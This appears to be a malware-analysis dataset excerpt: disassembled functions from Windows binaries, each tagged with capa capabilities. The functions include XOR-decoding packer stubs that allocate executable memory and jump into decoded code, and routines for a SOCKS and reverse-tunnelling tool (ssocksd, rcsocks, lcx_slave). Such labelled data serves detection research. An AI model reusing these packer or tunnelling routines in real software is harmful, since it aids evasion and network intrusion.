joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40548b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40549a
pop dword [ebp - 0x28]
mov eax, 0x40549a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x5c93f827
add dword [ebp - 0x38], 0xf1be4d24
mov dword [ebp - 0x34], 0x455604e5
add dword [ebp - 0x34], 0xecdd4760
mov dword [ebp - 0x30], 0xa79e5886
add dword [ebp - 0x30], 0xa4adeba8
mov dword [ebp - 0x2c], 0x57141d9c
sub dword [ebp - 0x2c], 0x57141d9c
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xada0ee0d
sub dword [ebp - 0x38], 0x392e84b7
mov dword [ebp - 0x34], 0x21f3c19a
sub dword [ebp - 0x34], 0xe0876025
mov dword [ebp - 0x30], 0xdde3b222
sub dword [ebp - 0x30], 0x7a7445b6
mov dword [ebp - 0x2c], 0xb4ed1117
add dword [ebp - 0x2c], 0x4b12eee9
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x39d97
push 0
call eax
mov ecx, 0x68d63ceb
sub ecx, 0x68d5e91a
mov edi, eax
mov ebx, 0x432600
add ebx, dword [ebp - 0x28]
mov edx, 0xd1e8c65c
add dword [ebp - 0x14], ebx
mov esi, dword [ebx]
add esi, edx
xor dword [ebp - 0x18], 0x2b2952c1
mov dword [edi], esi
mov dword [ebp - 8], 0xa6a3b10
add edi, 0x40b426cb
sub edi, 0x40b426c7
add ebx, 4
loop 0x4055a1
add eax, 0x6ad42c92
sub eax, 0x6ad2ea7b
mov ebx, eax
add eax, 0x6c8231f9
add eax, 0x937dce0c
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x40573a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x4218a8
push esi
call fcn.00405b66
push esi
call fcn.004056ed
mov edi, eax
test edi, edi
jne 0x40575b
xor eax, eax
jmp 0x4057ad
push edi
call fcn.00405dc8
test byte [0x423eb8], 0x80
je 0x405774
mov al, byte [edi]
test al, al
je 0x405757
cmp al, 0x5c
je 0x405757
sub edi, esi
jmp 0x40578c
call fcn.00405e61
test eax, eax
je 0x405786
test byte [eax], 0x10
je 0x405757
push esi
call fcn.004056a0
push esi
call sub.kernel32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405778
call fcn.00405659
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x40581e
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40583a
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
ret 4

Function at 0x40583d
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileA]
ret 0xc
Function at 0x43ad3f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x43ad4e
pop dword [ebp - 0x34]
mov eax, 0xd98b9d8
add eax, 0xf2aaf376
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x95aa0847
sub dword [ebp - 0x44], 0x4757c2fc
mov dword [ebp - 0x40], 0x9f5007fb
sub dword [ebp - 0x40], 0x6d1cbbb6
mov dword [ebp - 0x3c], 0x4ebb2628
add dword [ebp - 0x3c], 0xfd911e06
mov dword [ebp - 0x38], 0xc2758655
add dword [ebp - 0x38], 0x3d8a79ab
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x9158e58b
sub dword [ebp - 0x44], 0x1ce67c35
mov dword [ebp - 0x40], 0x2cc8588a
sub dword [ebp - 0x40], 0xeb5bf715
mov dword [ebp - 0x3c], 0x2691a411
sub dword [ebp - 0x3c], 0xc32237a5
mov dword [ebp - 0x38], 0xcc195577
add dword [ebp - 0x38], 0x33e6aa89
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4cdd0
push 0
call eax
mov ecx, 0x6cf32794
add ecx, 0x930d1e2a
xor edx, edx
add edx, eax
mov esi, 0xb9b042f3
sub esi, 0xb968e2f3
add esi, dword [ebp - 0x34]
mov ebx, 0xbcd603e3
sub ebx, 0xac881008
mov edi, dword [esi]
sub dword [ebp - 0xc], 0xb2fb9046
add edi, ebx
xor dword [ebp - 0x20], edi
mov dword [edx], edi
sub dword [ebp - 0x10], ecx
add edx, 0xdf7c9f5d
sub edx, 0xdf7c9f59
add esi, 0xd82e5c6d
sub esi, 0xd82e5c69
loop 0x43ae68
add eax, 0x109cb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7806ec25
add ecx, 0x883913db
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x361b216f
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data_1
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x72f869c2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401400
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x30], 2
mov dword [esp], 0
call sym._htons_4
sub esp, 4
movzx eax, ax
mov dword [ebp - 0x2c], eax
mov dword [esp], 0
call sym._htons_4
sub esp, 4
mov word [ebp - 0x2e], ax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x40148d
mov dword [esp], str.Create_Socket_Failed__
call sym._puts
mov eax, 0xffffffff
jmp 0x40156d
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x30]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._bind_12
sub esp, 0xc
test eax, eax
je 0x4014c4
mov dword [esp], str.Client_Bind_Port_Failed__
call sym._puts
mov eax, 0xffffffff
jmp 0x40156d
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._API_socket_gethostbyname
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40151a
mov dword [esp], str.Server_IP_Address_Error_
call sym._puts
mov eax, 0xffffffff
jmp 0x40156d
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
jns 0x40156a
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Can_Not_Connect_To__s__n
call sym._printf
mov eax, 0xffffffff
jmp 0x40156d
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40156f
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015b0
mov dword [esp], str.Could_not_create_socket
call sym._printf
mov eax, 0xffffffff
jmp 0x40161e
mov word [ebp - 0x1c], 2
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._bind_12
sub esp, 0xc
test eax, eax
jns 0x401606
mov dword [esp], str.bind_failed._Error
call sym._perror
mov eax, 0xffffffff
jmp 0x40161e
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._listen_8
sub esp, 8
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401636
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x114], 0
mov dword [ebp - 0xc], 0
jmp 0x401670
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp + 8]
cmp edx, eax
jne 0x40166c
jmp 0x40167b
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0xc]
ja 0x401659
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0xc]
jne 0x4016ad
mov eax, dword [ebp - 0x114]
cmp eax, 0x3f
ja 0x4016ad
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x110], edx
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
lea eax, [ebp - 0x11c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._select_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x401727
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x114]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.___WSAFDIsSet_8
sub esp, 8
test eax, eax
je 0x401720
mov eax, 2
jmp 0x401739
mov eax, 1
jmp 0x401739
cmp dword [ebp - 0x10], 0
jne 0x401734
mov eax, 0
jmp 0x401739
mov eax, 0xffffffff
leave
ret

Function at 0x40173b
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x114], 0
mov dword [ebp - 0xc], 0
jmp 0x401775
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + eax*4 - 0x110]
mov eax, dword [ebp + 8]
cmp edx, eax
jne 0x401771
jmp 0x401780
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0xc]
ja 0x40175e
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0xc]
jne 0x4017b2
mov eax, dword [ebp - 0x114]
cmp eax, 0x3f
ja 0x4017b2
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x110], edx
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
lea eax, [ebp - 0x11c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x114]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sym._select_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40182c
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x114]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.___WSAFDIsSet_8
sub esp, 8
test eax, eax
je 0x401825
mov eax, 2
jmp 0x40183e
mov eax, 1
jmp 0x40183e
cmp dword [ebp - 0x10], 0
jne 0x401839
mov eax, 0
jmp 0x40183e
mov eax, 0xffffffff
leave
ret

Function at 0x401840
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
leave
ret
Function at 0x40186c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
leave
ret

Function at 0x402593
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._socks_check_and_tunnel_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov eax, 1
leave
ret

Function at 0x402bd1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 4
call sym._malloc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [eax], edx
mov edx, dword [ebp + 8]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
lea edx, [eax + 0x4090a0]
mov eax, dword [ebp + 0xc]
mov dword [edx + 4], eax
mov edx, dword [ebp + 8]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
add eax, 0x4090a0
mov dword [eax + 0xc], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._tunn_run_now_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov eax, 1
leave
ret

Function at 0x402d18
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._API_set_usec_time
mov dword [esp + 4], 0x12c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._API_socket_init_server
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0x10
call sym._API_get_usec_time
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.ssocksd_0.0.0.0:_d______4d_usec_____socks_server_n
call sym._printf
jmp 0x402dc5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._check_and_tunnel_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x14]
mov dword [esp + 8], edx
lea edx, [ebp - 0x34]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._accept_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jns 0x402d64
cmp dword [ebp - 0x10], 0
jns 0x402e07
mov dword [esp], 0x406fd2
call sym._puts
mov eax, 0xffffffff
jmp 0x402e18
mov dword [esp], str.ssocksd_close______
call sym._puts
mov eax, 0
leave
ret
Function at 0x403483
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._API_set_usec_time
mov ebx, dword [ebp + 0xc]
call sym._API_get_usec_time
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], str.rcsocks_0.0.0.0:_d______4d_usec_____0.0.0.0:_d_n
call sym._printf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._create_socks_port_server_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._create_listen_port_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
mov dword [esp], 0xf4240
call sym._Sleep_4
sub esp, 4
jmp 0x403542

Function at 0x4036f4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
call sym._API_set_usec_time
mov dword [esp + 8], 0x12c
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x40e020
call sym._strncpy
mov dword [esp + 8], 0x12c
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x40dee0
call sym._strncpy
mov eax, dword [ebp + 0xc]
mov dword [0x40e00c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x40e14c], eax
mov edx, dword [0x40e14c]
mov eax, dword [0x40e00c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0x40dee0
mov edx, dword [ebp + 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40e020
mov dword [esp], str.lcx_slave__s:_d______4d_usec______s:_d_n
call sym._printf
mov eax, dword [0x40e00c]
mov dword [esp + 4], eax
mov dword [esp], 0x40e020
call sym._proto_init_cmd_rcsocket
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4037a9
mov eax, 0xffffffff
jmp 0x40387f
mov dword [esp + 8], 6
lea eax, [ebp - 0x16]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._API_socket_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 6
jne 0x403853
movzx eax, byte [ebp - 0x16]
cmp al, 1
jne 0x403853
movzx eax, byte [ebp - 0x15]
cmp al, 3
jne 0x403853
mov dword [esp + 4], 4
lea eax, [ebp - 0x16]
add eax, 2
mov dword [esp], eax
call sym._API_m_chartoi
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._check_and_slave_tunnel_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
nop
mov dword [esp], 1
call sym._Sleep_4
sub esp, 4
jmp 0x4037a9
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._lcx_slave
mov eax, 1
leave
ret
Function at 0x403ae0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sym._fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
lea edi, [edi]

Function at 0x403b40
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403c36
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x403bb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x403b85
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sym._memcpy
cmp byte [esp + 0x1f], 0
je 0x403b95
cmp byte [esp + 0x1e], 0
je 0x403b95
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x403b95
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call sym.___report_error
nop

Function at 0x403ed0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409054
call sym._EnterCriticalSection_4
mov ebx, dword [0x40906c]
sub esp, 4
test ebx, ebx
je 0x403f1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403f14
test esi, esi
je 0x403f14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403ef0
mov dword [esp], 0x409054
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x1001f7d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
push ebx
push esi
push edi
push 0xe
pop ecx
xor esi, esi
xor eax, eax
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
push esi
rep stosd dword es:[edi], eax
call sub.IMM32.dll_ImmDisableIME
push dword [ebp + 8]
call fcn.01001ef0
mov ebx, dword [ebp + 0x10]
cmp word [ebx], si
mov dword [ebp - 4], eax
je 0x10020c8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x1001ce8
push ebx
call edi
test eax, eax
je 0x10020c8
push ebx
push 0x1001cd8
call edi
test eax, eax
jne 0x1001fe1
jmp loc.01004730
cmp dword [ebp - 0x30], esi
jne 0x100208b
and dword [ebp + 8], 0
mov esi, 0x100185c
cmp dword [ebp + 8], 0x150
jae 0x1002031
push ebx
push dword [esi - 4]
call edi
test eax, eax
jne 0x1002024
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x1002018
push eax
call dword [sym.imp.SHLWAPI.dll_IsOS]
test eax, eax
je 0x1002024
mov eax, dword [esi + 4]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x2c], eax
add dword [ebp + 8], 0x10
add esi, 0x10
cmp dword [ebp - 0x30], 0
je 0x1001ff3
cmp dword [ebp - 0x30], 0
jne 0x1002089
push 0x1001104
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, 0x208
sub edi, eax
push edi
lea esi, [ebp + eax*2 - 0x46c]
push esi
lea ecx, [ebp - 0x46c]
push ebx
mov dword [ebp - 0x30], 0x10010e8
mov dword [ebp - 0x2c], ecx
jmp loc.01004000
xor esi, esi
mov eax, dword [ebp + 0x14]
cmp eax, esi
jne 0x1002095
xor eax, eax
inc eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x2000100
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10020f1
push esi
push esi
push esi
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x10020e7
mov dword [ebp - 0x30], 0x10010cc
mov dword [ebp - 0x2c], 0x1001140
jmp 0x100208b
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x5c]
push eax
call esi
test eax, eax
jne 0x10020d8
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0x10